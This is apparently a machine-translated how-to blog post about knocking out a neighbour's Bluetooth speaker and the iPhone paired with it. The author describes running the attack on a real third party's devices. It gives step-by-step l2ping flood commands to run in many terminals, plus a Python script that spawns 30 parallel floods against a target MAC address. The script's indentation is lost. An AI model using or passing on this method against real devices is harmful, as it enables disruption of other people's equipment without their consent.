Disabling bluetooth speakers, dos attack on bluetooth in Linux

 


It started with music in a neighbor's apartment well after midnight. Postponing the work,

 I was very interested in this sound source. By pure chance, as it turned out later,

 it turned out to be everyone's favorite portable speaker connected to the phone via bluetooth.

1. Scan bluetooth devices

Install blueman . It will be needed in order to find out the mac-address of the desired device. 

We launch it and find 2 sinister devices.

sudo apt-get install blueman

dos_bluetooth

2. Fight l2ping

sudo l2ping -i hci0 -s размер пакета -f MAC-адрес

Packet size - in bytes, the more allows, the better.

MAC address - bluetooth device address.

This method could not be applied to the column itself, but it worked out to the found iPhone.

 It turned out to be a device that synced with an audio device.

dos_bluetooth iphone

By running such a command in several terminals ,

 you can disable a powerful stream that will clog the device channel and it will either turn off or

 start playing with interruptions.

I had to run about 15 terminals. But it all depends on luck, 

the bandwidth of the bluetooth and the knowledge of the "victim" in this topic.

I'll add from myself :

A small python script that allows you to work with this non-handles.

#!/usr/bin/env python
import subprocess
from time import sleep

try:
# 30 - количество потоков. Не переусерствуейте.
for i in range(1, 30):
#Заменить мак адрес на свой
xterm = "sudo l2ping -i hci0 -s 10 -f 00:00:00:00:00:00"
process = subprocess.Popen(xterm, stderr=subprocess.PIPE, shell=True)
#data = process.communicate()
print(i)
#print(data)
except(KeyboardInterrupt, OSError):
print("Exit.")